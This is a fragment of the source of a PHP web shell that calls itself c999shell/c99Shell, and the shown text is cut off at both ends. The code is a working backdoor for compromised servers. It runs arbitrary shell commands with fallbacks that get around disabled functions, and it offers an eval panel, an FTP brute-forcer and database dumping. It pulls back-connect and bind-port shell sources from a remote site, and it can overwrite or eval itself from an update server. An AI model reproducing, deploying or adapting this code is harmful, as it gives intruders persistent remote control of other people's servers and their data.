array("\"Buffer\"",$surl."act=fsbuff&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Tools",$surl."act=tools&d=%d"), array("Proc.",$surl."act=processes&d=%d"), array("FTP brute",$surl."act=ftpquickbrute&d=%d"), array("Sec.",$surl."act=security&d=%d"), array("SQL",$surl."act=sql&d=%d"), array("PHP-code",$surl."act=eval&d=%d"), array("Update",$surl."act=update&d=%d"), array("Feedback",$surl."act=feedback&d=%d"), array("Self remove",$surl."act=selfremove"), array("Logout","#\" onclick=\"if (confirm('Are you sure?')) window.close()") ); //Highlight-code colors $highlight_background = "#c0c0c0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["c999shcook"]); //END CONFIGURATION // \/Next code isn't for editing\/ @set_time_limit(0); $tmp = array(); foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c999shell: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} if (!empty($login)) { if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" |
"," ",$donated_html));} header("WWW-Authenticate: Basic realm=\"c999shell ".$shver.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if ($selfwrite or $updatenow) {@ob_clean(); c999sh_getupdate($selfwrite,1); exit;} $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} $disablefunc = @ini_get("disable_functions"); if (!empty($disablefunc)) { $disablefunc = str_replace(" ","",$disablefunc); $disablefunc = explode(",",$disablefunc); } if (!function_exists("c999_buff_prepare")) { function c999_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c999_buff_prepare(); if (!function_exists("c999_sess_put")) { function c999_sess_put($data) { global $sess_cookie; global $sess_data; c999_buff_prepare(); $sess_data = $data; $data = serialize($data); setcookie($sess_cookie,$data); } } foreach (array("sort","sql_sort") as $v) { if (!empty($_GET[$v])) {$$v = $_GET[$v];} if (!empty($_POST[$v])) {$$v = $_POST[$v];} } if ($sort_save) { if (!empty($sort)) {setcookie("sort",$sort);} if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} } if (!function_exists("str2mini")) { function str2mini($content,$len) { if (strlen($content) > $len) { $len = ceil($len/2) - 2; return substr($content, 0,$len)."...".substr($content,-$len); } else {return $content;} } } if (!function_exists("view_size")) { function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } } if (!function_exists("fs_copy_dir")) { function fs_copy_dir($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_copy_obj")) { function fs_copy_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (!is_dir(dirname($t))) {mkdir(dirname($t));} if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_copy_dir($d,$t); } elseif (is_file($d)) {return copy($d,$t);} else {return FALSE;} } } if (!function_exists("fs_move_dir")) { function fs_move_dir($d,$t) { $h = opendir($d); if (!is_dir($t)) {mkdir($t);} while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { $ret = TRUE; if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} if (!$ret) {return $ret;} } } closedir($h); return TRUE; } } if (!function_exists("fs_move_obj")) { function fs_move_obj($d,$t) { $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); if (is_dir($d)) { if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} return fs_move_dir($d,$t); } elseif (is_file($d)) { if(copy($d,$t)) {return unlink($d);} else {unlink($t); return FALSE;} } else {return FALSE;} } } if (!function_exists("fs_rmdir")) { function fs_rmdir($d) { $h = opendir($d); while (($o = readdir($h)) !== FALSE) { if (($o != ".") and ($o != "..")) { if (!is_dir($d.$o)) {unlink($d.$o);} else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} } } closedir($h); rmdir($d); return !is_dir($d); } } if (!function_exists("fs_rmobj")) { function fs_rmobj($o) { $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); if (is_dir($o)) { if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} return fs_rmdir($o); } elseif (is_file($o)) {return unlink($o);} else {return FALSE;} } } if (!function_exists("myshellexec")) { function myshellexec($cmd) { global $disablefunc; $result = ""; if (!empty($cmd)) { if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} elseif (($result = `$cmd`) !== FALSE) {} elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} elseif (is_resource($fp = popen($cmd,"r"))) { $result = ""; while(!feof($fp)) {$result .= fread($fp,1024);} pclose($fp); } } return $result; } } if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}} if (!function_exists("view_perms")) { function view_perms($mode) { if (($mode & 0xC000) === 0xC000) {$type = "s";} elseif (($mode & 0x4000) === 0x4000) {$type = "d";} elseif (($mode & 0xA000) === 0xA000) {$type = "l";} elseif (($mode & 0x8000) === 0x8000) {$type = "-";} elseif (($mode & 0x6000) === 0x6000) {$type = "b";} elseif (($mode & 0x2000) === 0x2000) {$type = "c";} elseif (($mode & 0x1000) === 0x1000) {$type = "p";} else {$type = "?";} $owner["read"] = ($mode & 00400)?"r":"-"; $owner["write"] = ($mode & 00200)?"w":"-"; $owner["execute"] = ($mode & 00100)?"x":"-"; $group["read"] = ($mode & 00040)?"r":"-"; $group["write"] = ($mode & 00020)?"w":"-"; $group["execute"] = ($mode & 00010)?"x":"-"; $world["read"] = ($mode & 00004)?"r":"-"; $world["write"] = ($mode & 00002)? "w":"-"; $world["execute"] = ($mode & 00001)?"x":"-"; if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} return $type.join("",$owner).join("",$group).join("",$world); } } if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}} if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}} if (!function_exists("parse_perms")) { function parse_perms($mode) { if (($mode & 0xC000) === 0xC000) {$t = "s";} elseif (($mode & 0x4000) === 0x4000) {$t = "d";} elseif (($mode & 0xA000) === 0xA000) {$t = "l";} elseif (($mode & 0x8000) === 0x8000) {$t = "-";} elseif (($mode & 0x6000) === 0x6000) {$t = "b";} elseif (($mode & 0x2000) === 0x2000) {$t = "c";} elseif (($mode & 0x1000) === 0x1000) {$t = "p";} else {$t = "?";} $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); } } if (!function_exists("parsesort")) { function parsesort($sort) { $one = intval($sort); $second = substr($sort,-1); if ($second != "d") {$second = "a";} return array($one,$second); } } if (!function_exists("view_perms_color")) { function view_perms_color($o) { if (!is_readable($o)) {return "".view_perms(fileperms($o))."";} elseif (!is_writable($o)) {return "".view_perms(fileperms($o))."";} else {return "".view_perms(fileperms($o))."";} } } if (!function_exists("c999getsource")) { function c999getsource($fn) { global $c999sh_sourcesurl; $array = array( "c999sh_bindport.pl" => "c999sh_bindport_pl.txt", "c999sh_bindport.c" => "c999sh_bindport_c.txt", "c999sh_backconn.pl" => "c999sh_backconn_pl.txt", "c999sh_backconn.c" => "c999sh_backconn_c.txt", "c999sh_datapipe.pl" => "c999sh_datapipe_pl.txt", "c999sh_datapipe.c" => "c999sh_datapipe_c.txt", ); $name = $array[$fn]; if ($name) {return file_get_contents($c999sh_sourcesurl.$name);} else {return FALSE;} } } if (!function_exists("c999sh_getupdate")) { function c999sh_getupdate($update = TRUE) { $url = $GLOBALS["c999sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&"; $data = @file_get_contents($url); if (!$data) {return "Can't connect to update-server!";} else { $data = ltrim($data); $string = substr($data,3,ord($data{2})); if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} if ($data{0} == "\x99" and $data{1} == "\x03") { $string = explode("\x01",$string); if ($update) { $confvars = array(); $sourceurl = $string[0]; $source = file_get_contents($sourceurl); if (!$source) {return "Can't fetch update!";} else { $fp = fopen(__FILE__,"w"); if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c999shell.php manually here.";} else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";} } } else {return "New version are available: ".$string[1];} } elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;} else {return "Error in protocol: segmentation failed! (".$data.") ";} } } } if (!function_exists("mysql_dump")) { function mysql_dump($set) { global $shver; $sock = $set["sock"]; $db = $set["db"]; $print = $set["print"]; $nl2br = $set["nl2br"]; $file = $set["file"]; $add_drop = $set["add_drop"]; $tabs = $set["tabs"]; $onlytabs = $set["onlytabs"]; $ret = array(); $ret["err"] = array(); if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");} if (empty($db)) {$db = "db";} if (empty($print)) {$print = 0;} if (empty($nl2br)) {$nl2br = 0;} if (empty($add_drop)) {$add_drop = TRUE;} if (empty($file)) { $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql"; } if (!is_array($tabs)) {$tabs = array();} if (empty($add_drop)) {$add_drop = TRUE;} if (sizeof($tabs) == 0) { // retrive tables-list $res = mysql_query("SHOW TABLES FROM ".$db, $sock); if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}} } $out = "# Dumped by c999Shell.SQL v. ".$shver." # Home page: http://ccteam.ru # # Host settings: # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"." # Date: ".date("d.m.Y H:i:s")." # DB: \"".$db."\" #--------------------------------------------------------- "; $c = count($onlytabs); foreach($tabs as $tab) { if ((in_array($tab,$onlytabs)) or (!$c)) { if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";} // recieve query for create table structure $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock); if (!$res) {$ret["err"][] = mysql_smarterror();} else { $row = mysql_fetch_row($res); $out .= $row["1"].";\n\n"; // recieve table variables $res = mysql_query("SELECT * FROM `$tab`", $sock); if (mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $k=>$v) {$values[$k] = addslashes($v);} $values = implode("', '", $values); $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; $out .= $sql; } } } } } $out .= "#---------------------------------------------------------------------------------\n\n"; if ($file) { $fp = fopen($file, "w"); if (!$fp) {$ret["err"][] = 2;} else { fwrite ($fp, $out); fclose ($fp); } } if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}} return $out; } } if (!function_exists("mysql_buildwhere")) { function mysql_buildwhere($array,$sep=" and",$functs=array()) { if (!is_array($array)) {$array = array();} $result = ""; foreach($array as $k=>$v) { $value = ""; if (!empty($functs[$k])) {$value .= $functs[$k]."(";} $value .= "'".addslashes($v)."'"; if (!empty($functs[$k])) {$value .= ")";} $result .= "`".$k."` = ".$value.$sep; } $result = substr($result,0,strlen($result)-strlen($sep)); return $result; } } if (!function_exists("mysql_fetch_all")) { function mysql_fetch_all($query,$sock) { if ($sock) {$result = mysql_query($query,$sock);} else {$result = mysql_query($query);} $array = array(); while ($row = mysql_fetch_array($result)) {$array[] = $row;} mysql_free_result($result); return $array; } } if (!function_exists("mysql_smarterror")) { function mysql_smarterror($type,$sock) { if ($sock) {$error = mysql_error($sock);} else {$error = mysql_error();} $error = htmlspecialchars($error); return $error; } } if (!function_exists("mysql_query_form")) { function mysql_query_form() { global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) { echo ""; if ($tbl_struct) { echo "
"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":



 
Fields:
"; foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» ".$name."
";} echo "
"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists("mysql_create_db")) { function mysql_create_db($db,$sock="") { $sql = "CREATE DATABASE `".addslashes($db)."`;"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists("mysql_query_parse")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (" ",$query); /*array array() { "METHOD"=>array(output_type), "METHOD1"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( "SELECT"=>array(3,1), "SHOW"=>array(2,1), "DELETE"=>array(1), "DROP"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result["propertions"] = $types[$op]; $result["query"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == "LIMIT") { $result["limit"] = $arr[$k+1]; $result["limit"] = explode(",",$result["limit"]); if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;} } } if (!function_exists("c999fsearch")) { function c999fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != "." && $f != "..") { $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {c999fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a["text"])) { $r = @file_get_contents($d.$f); if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} else {$bool = strpos(" ".$r,$a["text"],1);} if ($a["text_not"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}} //Sending headers @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start("ob_gzHandler"); echo $v; @ob_end_flush(); } } function c999shexit() { onphpshutdown(); exit; } header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", FALSE); header("Pragma: no-cache"); if (empty($tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = "/tmp/";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = TRUE; $hsafemode = "ON (secure)"; } else {$safemode = FALSE; $hsafemode = "OFF (not secure)";} $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v."";} else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure)";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE"); if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();} $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()."",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set("highlight.bg",$highlight_bg); //FFFFFF @ini_set("highlight.comment",$highlight_comment); //#FF8000 @ini_set("highlight.default",$highlight_default); //#0000BB @ini_set("highlight.html",$highlight_html); //#000000 @ini_set("highlight.keyword",$highlight_keyword); //#007700 @ini_set("highlight.string",$highlight_string); //#DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); ?><?php echo getenv("HTTP_HOST"); ?> - phpshell

!c99Shell v. !

Software:  

uname -a: ",1); ?> 

",1);} else {echo get_current_user();} ?> 

Safe-mode: 

".htmlspecialchars($b).DIRECTORY_SEPARATOR.""; $i++; } echo "   "; if (is_writable($d)) { $wd = TRUE; $wdt = "[ ok ]"; echo "".view_perms(fileperms($d)).""; } else { $wd = FALSE; $wdt = "[ Read-Only ]"; echo "".view_perms_color($d).""; } if (is_callable("disk_free_space")) { $free = disk_free_space($d); $total = disk_total_space($d); if ($free === FALSE) {$free = 0;} if ($total === FALSE) {$total = 0;} if ($free < 0) {$free = 0;} if ($total < 0) {$total = 0;} $used = $total-$free; $free_percent = round(100/($total/$free),2); echo "
Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)"; } echo "
"; $letters = ""; if ($win) { $v = explode("\\",$d); $v = $v[0]; foreach (range("a","z") as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= "[ "; if ($letter.":" != $v) {$letters .= $letter;} else {$letters .= "".$letter."";} $letters .= " ] "; } } if (!empty($letters)) {echo "Detected drives: ".$letters."
";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "".$item[0]."    "; } } echo "


"; if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
".$donated_html."

";} echo ""; $line = explode(" ",$line); $line[10] = join(" ",array_slice($line,10)); $line = array_slice($line,0,11); if ($line[0] == get_current_user()) {$line[0] = "".$line[0]."";} $line[] = "KILL"; $prcs[] = $line; echo ""; } } } else { while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} while (ereg("",$ret)) {$ret = str_replace("","",$ret);} while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} $ret = convert_cyr_string($ret,"d","w"); $stack = explode("\n",$ret); unset($stack[0],$stack[2]); $stack = array_values($stack); $head = explode("",$stack[0]); $head[1] = explode(" ",$head[1]); $head[1] = $head[1][0]; $stack = array_slice($stack,1); unset($head[2]); $head = array_values($head); if ($parsesort[1] != "a") {$y = "";} else {$y = "";} if ($k > count($head)) {$k = count($head)-1;} for($i=0;$i".trim($head[$i])."";} } $prcs = array(); foreach ($stack as $line) { if (!empty($line)) { echo ""; $line = explode("",$line); $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); $line[2] = intval(str_replace(" ","",$line[2]))*1024; $prcs[] = $line; echo ""; } } } $head[$k] = "".$head[$k]."".$y; $v = $processes_sort[0]; usort($prcs,"tabsort"); if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} $tab = array(); $tab[] = $head; $tab = array_merge($tab,$prcs); echo "
"; if ($act == "") {$act = $dspact = "ls";} if ($act == "sql") { $sql_surl = $surl."act=sql"; if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} $sql_surl .= "&"; ?>

Attention! SQL-Manager is NOT ready module! Don't reports bugs.

"; if (!$sql_sock) {?>"; } echo "
SQL Manager:
"; if (!$sql_sock) { if (!$sql_server) {echo "NO CONNECTION";} else {echo "
Can't connect
"; echo "".$err."";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "
MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
"; } echo "
i
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  •  Please, fill the form:
    UsernamePassword Database 
    HostPORT
    ">Home
    ".htmlspecialchars($sql_db)." ]---
    "; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} if (!$c) {echo "No tables found in database.";} } } else { ?>
    Home

    Please, select database
    "; //Start center panel $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo "
    "; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ""; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach 